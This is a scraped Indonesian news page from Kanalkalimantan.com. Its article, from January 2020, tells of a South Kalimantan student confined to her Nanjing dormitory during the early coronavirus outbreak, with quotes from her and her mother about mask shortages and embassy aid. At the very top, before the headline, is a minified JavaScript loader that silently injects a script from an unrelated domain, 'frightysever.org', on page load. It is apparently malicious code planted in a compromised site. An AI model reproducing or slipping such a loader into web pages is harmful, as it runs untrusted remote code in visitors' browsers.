(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dampak Sebaran Virus Corona, Mahasiswi Asal Kalsel Terjebak di Nanjing China


KANALKALIMANTAN.COM, BANJARMASIN – Mewabahnya virus Corona yang bermula di Kota Wuhan, berdampak pada isolasi yang diterapkan pemerintah setempat. Tak terkecuali Warga Negara Indonesia (WNI) yang berada di Negeri Tirai Bambu itu.

Informasi yang berhasil didapat Kanalkalimantan.com, terdapat satu warga Kalimantan Selatan bernama Ayu Febriyani, yang diketahui tengah menempuh studi D3 Bisnis Internasional di Jiangsu Institute of Commerce di Nanjing China. Kendati lokasinya jauh dari asal mula virus Corona di Wuhan, nyatanya kota ini juga terdampak virus ini.

Dihubungi melalui video call, Feby -sapaan akrabnya- mengatakan situasi di Nanjing saat ini masih kondusif, kendati kota ini berjarak cukup jauh dari Wuhan, di mana virus Corona ini berasal. Saat ini saja, diduga 7 orang di Nanjing suspect virus Corona.

“Belum ada korban meninggal di Nanjing.  Terus juga di sini kehabisan masker, toko-toko tutup karena lagi Imlek,” kata Feby saat dihubungi, Senin (27/1/2020) siang.

Feby mengatakan dirinya saat ini tengah berada di asrama, karena pemerintah setempat melarang masyarakat untuk bepergian ataupun beraktivitas di luar rumah. Apalagi pergi meninggalkan China.

“Jadi aku tinggal di asrama saja, mungkin selama dua minggu. Kalau ke luar harus pakai masker dan jaket yang tebal, pokoknya tidak boleh bersentuhan sama orang lain,” tambah Feby.

Feby pun mengaku was-was, apalagi persebaran virus Corona cukup cepat. Kendati demikian, Kedutaan Besar RI di Beijing telah bergerak melakukan pendataan dengan membuat grup di aplikasi WeChat. “Diminta data diri buat yang masih tinggal di Nanjing terutama di lingkungan kampus,” sebutnya.

Lalu, Feby mengungkapkan KBRI Beijing telah mengirimkan stok masker dan hand sanitizer kepada mahasiswa yang terjebak di China. “Soalnya toko-toko di sini semuanya tutup,” tuturnya.

“Bantu doa saja ya agar selamat,” pungkas Feby. Sementara orangtua dari Feby, Ririe mengaku khawatir dengan kasus merebaknya virus Corona di Negeri Tirai Bambu itu. Apalagi, anaknya tidak bisa ke mana-mana lantaran pemerintah setempat melarang masyarakat ke luar ruangan.

“Saat ini sudah ada 7 orang suspect virus Corona. Tentunya hal tersebut mengkhawatirkan sekali. Kami meminta kepada warga di Kalsel agar dapat mendoakan mahasiswa di Indonesia khususnya dari Kalsel agar diberikan keselamatan, kesehatan dan selalu fit,” papar Ririe. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

3 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

3 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

5 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

7 jam ago

This website uses cookies.